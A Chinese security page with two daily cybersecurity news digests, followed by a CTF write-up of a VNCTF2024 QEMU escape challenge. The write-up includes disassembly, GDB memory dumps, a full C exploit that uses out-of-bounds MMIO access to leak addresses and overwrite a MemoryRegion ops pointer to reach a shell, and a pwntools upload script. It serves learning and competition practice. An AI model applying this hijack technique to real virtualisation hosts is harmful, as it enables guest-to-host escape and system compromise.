网络安全日报 2024年03月19日
1、APT28针对多地区开展广泛网络钓鱼攻击
https://securityintelligence.com/x-force/itg05-leverages-malware-arsenal/ 根据研究人员发布的最新报告,与俄罗斯有关联的网络威胁行为者APT28,被发现正在进行多起精心策划的网络钓鱼攻击。这次攻击针对的是欧洲、南高加索地区、中亚以及北美和南美的政府及非政府组织(NGOs)。APT28利用看似官方的诱饵文档进行欺骗,这些文档既包括内部文件也包括公开可获得的文档,涵盖了金融、重要基础设施、行政会议、网络安全、海洋安全、卫生保健、商务和国防产业等多个领域。研究人员观察到的最新活动是在2023年11月末至2024年2月间,APT
2、朝鲜APT组织利用Tornado Cash洗钱2300万美元
https://www.elliptic.co/blog/north-korean-hackers-return-to-tornado-cash-despite-sanctions 据研究人员报道,与朝鲜有关的网络黑客组织Lazarus再次恢复使用加密货币混合器平台Tornado Cash洗钱2300万美元。2023年11月发生的HTX交易所1125万美元的盗窃案被追踪到Lazarus APT组织,如今,Elliptic通报称Lazarus组织通过Tornado Cash清洗了来自该次攻击的逾2300万美元资金。2022年8月,美国财政部外国资产控制办公室(OFAC)因北朝鲜相关的Lazar
3、英国国防大臣专机在波兰遭电子战攻击
https://www.thesun.co.uk/news/26691317/russia-putin-grant-shapps-plane-hacked-gps-communications-ww3/ 英国国防大臣格兰特·沙普斯的RAF Dassault Falcon 900喷气式飞机最近在飞往英国途中,据称遭到了俄罗斯黑客发起的电子战攻击,导致飞机的全球定位系统(GPS)和通信设备短暂失效。沙普斯此行前往波兰访问英国在"坚定捍卫者"军事演习中的军队,并确认了英国对乌克兰的全力支持。《太阳报》的国防编辑在起飞时搭乘了RAF Dassault Falcon 900喷气式飞机,并报告说飞机在靠
4、新声学攻击可凭打字模式识别键盘输入
https://arxiv.org/pdf/2403.08740.pdf 最新研究展示了一种新型声学旁道攻击方法,即使在噪音环境下,也能根据键盘打字模式推断用户输入。该方法的平均成功率虽然只有43%,低于过去提出的其他方法,但它不需要受控的录音条件或特定的打字平台。这一技术更适用于现实攻击,在特定的目标相关参数下,通过收集后的分析产生足够可靠的数据,以解密目标的整体输入。美国奥古斯塔大学的研究人员公布了他们独特的声学旁道方法的技术细节。这种攻击利用通过专用软件捕捉的不同按键的特有声音排放和用户的打字模式来收集数据集。收集目标的一些打字样本至关重要,以便将特定的按键和单词与声波联系起来。虽然论
5、AT&T否认泄露的7000万用户数据来自其系统
https://www.bleepingcomputer.com/news/security/att-says-leaked-data-of-70-million-people-is-not-from-its-systems/ AT&T公司近日表示,在一家网络犯罪论坛上被黑客泄露并宣称来自2021年对公司系统的攻击的大量数据,并非来自其系统。该数据涉及7100万人。这些数据涉及到声称是2021年攻击AT&T数据泄露案的一部分,由一个名为ShinyHunters的威胁行为者尝试在数据盗窃论坛上以20万美元的起始价格和3万美元的增量报价出售。该黑客表示他们愿意立即以100万美元出售。如今,另一名
6、富士通遭受恶意软件攻击并发生数据泄露
https://securityaffairs.com/160682/hacking/fujitsu-suffered-cyberattack.html 日本科技巨头富士通周五宣布遭遇恶意软件攻击,威胁行为者可能窃取了个人和客户信息。该公司透露,多台工作计算机感染了恶意软件,为了应对这一威胁,安全人员将受影响的系统与网络断开。该公司对此事件展开调查,发现威胁行为者可能泄露了包含个人和客户信息的文件。
7、航空航天部门面临猛增的网络安全威胁
https://securityaffairs.com/160664/uncategorized/aviation-and-aerospace-sectors-cyber-threats.html 随着全球地缘政治紧张局势加剧,民航业和航空航天领域遭受破坏性网络攻击的风险加大。Resecurity 详细介绍了针对这些部门的威胁行为者最近的显着活动。Lockbit 3.0是针对这些行业的最活跃的勒索软件组织之一,已对多家知名公司发起了攻击。它于 2021 年 9 月攻击泰国主要航空公司曼谷航空,于 2021 年 10 月攻击以色列航空航天和国防公司 EMIT Aviation Consulti
8、恶意广告提供虚假Notepad++和VNote安装包针对中国用户
https://thehackernews.com/2024/03/malicious-ads-targeting-chinese-users.html 在百度等搜索引擎上寻找 Notepad++ 和 VNote 等合法软件的中国用户正成为恶意广告和虚假链接的目标,这些链接会分发该软件的木马版本,并最终部署Geacon(一种基于 Golang 的 Cobalt Strike 实现)。
9、TikTok 因“安全问题”被美国发布禁令
https://www.darkreading.com/cyber-risk/tiktok-ban-raises-data-security-control-questions 继众议院能源与商务委员会上周通过禁用流行社交媒体平台 TikTok 的法案后,美国国会投票赞成该法案,该法案规定,任何受“外国”控股的企业需在 180 天内撤资。
10、LockBit 一重要成员被加拿大法院判处 4 年监禁
https://www.ithome.com/0/755/716.htm 据加拿大媒体 CTV News 报道,黑客组织 LockBit 重要成员米哈伊尔・瓦西里耶夫(Mikhail Vasiliev)被加拿大安大略省法院判处 4 年监禁。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月18日
1、印度Android用户钓鱼诈骗活动日趋猖獗
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-phishing-scam-using-malware-as-a-service-on-the-rise-in-india/ 研究人员报告,自2023年3月起至今,印度Android用户成为了钓鱼诈骗软件活动的目标。这种恶意软件已经发展成一个服务形式,涵盖了800多个应用程序,并感染了超过3700台设备。钓鱼页面设计用于易于欺骗的场景,比如电费付款、预约医院和快递预定等。这些页面会在不同应用程序中加载,最后出售给诈骗者。诈骗者通常通过电话、短信、电子邮件或社交应用程序联系
2、RedCurl团伙利用Windows PCA工具进行企业间谍活动
https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html 俄语网络犯罪组织RedCurl正在利用一个名为程序兼容性助手(PCA)的合法微软Windows组件执行恶意命令。研究人员分析中指出,该服务(pcalua.exe)原本设计用来识别和解决与旧程序的兼容问题,但敌对方可以利用这个工具作为命令行解释器的替代,以此执行命令并绕过安全限制。RedCurl组织自2018年起活跃,以企业间谍活动面向位于澳大利亚、加拿大、德国、
3、关键FortiClient EMS漏洞PoC被出售
https://fortiguard.fortinet.com/psirt/FG-IR-24-007 研究人员最近修复了其FortiClient Endpoint Management Server(EMS)解决方案中的一个SQL注入漏洞(CVE-2023-48788),这似乎引起了许多人的兴趣:研究人员的攻击团队计划下周发布技术细节和概念验证Exploit,而有人正试图通过GitHub以不到300美元的价格出售一个PoC。关于CVE-2023-48788,这是Fortinet最近修补的几个漏洞之一。在星期三,有人在GitHub建立了一个页面,宣传针对CVE-2023-48788的“新Exp
4、思科修复IOS XR软件中的高危提权和拒绝服务漏洞
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-ssh-privesc-eWDMKew3 思科本周修补了其IOS XR软件中的高危权限提升和拒绝服务(DoS)漏洞。思科解决了IOS XR软件中的多个漏洞,其中包括三个高危漏洞,这些漏洞可被用于提升权限和触发拒绝服务(DoS)状态。漏洞CVE-2024-20320是一个思科IOS XR软件SSH权限提升漏洞。该问题存在于思科8000系列路由器和思科网络融合系统(NCS)540和5700系列路由器的Cisco
5、法国政府数据泄露暴露4300万民众信息
https://www.francetravail.fr/candidat/soyez-vigilants/cyberattaque-soyez-vigilants.html 法国政府部门——负责注册和帮助失业人员的France Travail——最近成为一起大规模数据泄露的受害者,这次泄露影响了多达4300万公民的信息。France Travail在周三宣布,已将此次涉及包含20年个人信息的事件通报给该国的数据保护监管机构CNIL。泄露的数据包括姓名、出生日期、社会保障号码、France Travail标识符、电子邮件地址、邮政地址和电话号码,好在密码和银行详情没有受到影响。然而,CNIL
6、DarkGate活动利用微软零日漏洞进行攻击
https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412--darkgate-operators-exploit-microsoft-windows-sma.html 研究人员在2024年1月中旬发现了一个名为DarkGate的攻击活动,该活动利用了Windows零日漏洞CVE-2024-21412。研究人员报告称,APT组织“水木马”(Water Hydra)利用CVE-2024-21412漏洞进行了零日攻击。DarkGate远程访问木马(RAT)使用Borland Delphi编写,并以恶意软件即服务(MaaS)模式存在于
7、新型恶意软件BunnyLoader 3.0窃取凭证及加密货币
https://unit42.paloaltonetworks.com/analysis-of-bunnyloader-malware/ 最近,研究人员揭露了一种名为“BunnyLoader 3.0”的新型恶意软件,此恶意软件专门设计用来窃取用户登录凭证和加密货币,同时能够在操作系统中潜伏不被发现。自2023年9月首次被发现以来,BunnyLoader经过多次升级和增强,以逃避安全检测和提高效能。2024年2月11日,黑客公开了这一恶意软件的最新版本——BunnyLoader 3.0。与前一版本相比,3.0版本在性能上有了90%的显著提升,且有效减少了载荷体积和增强了键盘记录功能,这使得它比
8、SIM交换者在eSIM攻击中可劫持电话号码
https://www.facct.ru/media-center/press-releases/esim-bank-attacks/ SIM换号攻击者已经适应了新的攻击手段,通过将受害者的电话号码端口转移到一张新的eSIM卡(一种存储在许多新型智能手机芯片上的可重写数字SIM卡)来窃取该号码。eSIM(嵌入式用户身份识别模块)是存储在移动设备芯片上的数字卡片,与物理SIM卡承担相同的角色和功能,但可以远程重新编程、配置、停用、更换和删除。用户通常可以通过扫描服务提供商的QR码,将eSIM添加到支持该功能的设备上。随着智能手机制造商越来越青睐eSIM,因为eSIM无需SIM卡插槽,还能在小型
9、国际货币基金组织邮箱账户遭黑客攻击
https://www.bleepingcomputer.com/news/security/international-monetary-fund-email-accounts-hacked-in-cyberattack/ 国际货币基金组织(IMF)在上周五披露了今年早些时候其11个电子邮件账户被未知攻击者入侵的网络安全事件。这一由190个会员国资助的国际金融机构,也是总部位于华盛顿特区的联合国主要金融机构。根据发布的新闻稿,IMF在二月份检测到了这次事件,并正在进行调查以评估攻击的影响。到目前为止,IMF未发现证据表明攻击者获得了进入受损电子邮件账户之外的其他系统或资源的访问权限。IMF
10、ShadowSyndicate针对aiohttp漏洞发起扫描攻击
https://cyble.com/blog/cgsi-probes-shadowsyndicate-groups-possible-exploitation-of-aiohttp-vulnerability-cve-2024-23334/ 研究人员监测到,自2024年2月27日公布了aiohttp(异步HTTP客户端/服务器框架)漏洞(CVE-2024-23334)的概念验证(PoC)及教学视频后,网络犯罪集团ShadowSyndicate可能开始利用这一漏洞进行网络攻击。此漏洞为目录遍历问题,可能让未经认证的远程攻击者访问服务器上的敏感文件。根据研究人员的数据显示,全球有超过43000个
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
从 VNCTF2024 的一道题学习QEMU Escape
说在前面
本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是)
https://github.com/xtxtn/vnctf2024-escape_langlang_mountain2wp[1] 题目分析流程
[1-1] 启动文件分析
读 Dockerfile,了解到它在搭起环境以后启动了start.sh,
再读 start.sh,了解到它启动了 xinetd 程序
再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh
再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。
通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init 的 函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到
__int64 __fastcall vn_class_init(__int64 a1)
{
__int64 result; // rax
result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result + 176) = pci_vn_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)
*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)
*(_BYTE *)(result + 212) = 0x10;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn
/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况
/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r-- 1 0 0 4096 Feb 18 12:18 resource
-rw------- 1 0 0 4096 Feb 18 12:18 resource0
...
...
有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。
并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 https://ctf-wiki.org/pwn/virtualization/qemu/exploitation/intro/#_3
[1-2] 静态分析
如果我写的不够清楚,读者可以参考 https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。
我们先补充一些概念:
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。
resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据
关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关
假设我们的调用链是这样的:
docker -> QEMU -> exp
则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间
而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。
那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。
由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是
object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址
①如果 op == 0x30 且 ptr[737] == 0
ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
②如果 op == 0x10 且 var < 0x3C
ptr[736] = var
这里可以用负数来上溢,从而可以读很大一片空间的内容
③如果 op == 0x20 且 var 的高32位 < 0x3C
ptr[ HIDWORD(var) + 720 ] = (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助
通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");
现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。
所以我们就先读一些内容,看看附近有没有什么能利用的东西
[2] 动态调试
接下来我们需要用 docker 调试 qemu,这里记录一下
# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file
# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp
# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio
# 将 exp 放入 /core/usr/bin 中
# 重新打包 roortfs.cpio
gen rootfs.cpio
# 修改 run.sh
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
# -L ./pc-bios \
# -m 128M \
# -append "tsc=unstable console=ttyS0" \
# -kernel bzImage \
# -initrd rootfs.cpio \
# -device vn \
# -nographic \
# -no-reboot \
# -monitor /dev/null \
# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
# apt-get update && apt-get -y dist-upgrade && \
# apt-get install -y lib32z1 xinetd \
# libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
# libfdt-dev libnuma-dev libglib2.0-dev \
# libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb
# build 与 启动容器
docker-compose build
docker start vnctf
# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash
# pane2:
docker exec -ti vnctf /bin/bash
# pane1:
./run.sh # 这里运行以后应该是什么也不会出现
# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动
# 如果没启动就继续输入 (gdb) c
# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp
# pane2:
# 此时就可以开始调试了
现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
uint64_t test_low,test_high,test;
for(int i=-1;i>=-30;i--) {
mmio_write(0x10, i*0x8);
test_low = mmio_read(0x20);
mmio_write(0x10, i*0x8 + 0x4);
test_high = mmio_read(0x20);
test = test_low + (test_high << 32);
printf("test%d = 0x%llx\n", -i, test);
getchar();
}
}
/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/
我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方
PIE
(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3 0xf3c35d90f87d8948
我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了
heap & MemoryRegion
(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>: 0x000055da252d3458 0x000055da252d3502
我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0
所以我们有如下对应关系:
ptr[-24 + 720] -> 0x55da25dd01e0
那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 -> 0x55da2812e470
// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.
因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近,可以计算一下
(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68
而我们打印一下更多附近的值,可以看到
(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470 0x0000000000000001
0x55da2812eed0: 0x0000000000000000 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0 0x0000000000000000
0x55da2812ef10: 0x0000000000001000 0x0000000000000000
0x55da2812ef20: 0x00000000febf1000 0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000 0x0000000000010001
0x55da2812ef40: 0x0000000000000000 0x0000000000000000
0x55da2812ef50: 0x0000000000000001 0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58 0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98 0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78 0x000055da28130f00
0x55da2812ef90: 0x0000000000000000 0x0000000000000000
0x55da2812efa0: 0x0000000000000000 0x0000000000000000
0x55da2812efb0: 0x0000000000000000 0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000 0x0000000000000000
0x55da2812efd0: 0x0000000000000000 0x0000000000000000
0x55da2812efe0: 0x0000000000000000 0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c 0x0000000000000000
0x55da2812f000: 0x0000000000000000 0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0 0x000055da273b01d0
0x55da2812f020: 0x0000000000000000 0x000055da25725d5f
0x55da2812f030: 0x0000000000000000 0x000055da25725de1
我们回到 https://ctf-wiki.org/pwn/virtualization/qemu/basic-knowledge/mm/ 里查看一下 MemoryRegion
struct MemoryRegion {
Object parent_obj;
/* private: */
/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container; // 指向父 MemoryRegion
Int128 size; // 内存区域大小
hwaddr addr; // 在父 MR 中的偏移量
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias; // 仅在 alias MR 中,指向实际的 MR
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};
假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;
0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000
我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置:
0x55da2812eef0(&test24) -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B
[3] 完整 EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);
getchar();
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
mmio_write(0x10,-0xc0);
getchar();
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;
}
[4] exp.c 如何食用?
# exp.py
from pwn import *
import time, os
context.log_level = "debug"
p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
f = open("./b64_exp", "r")
p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")
count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("~ #")
count += 1
f.close()
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
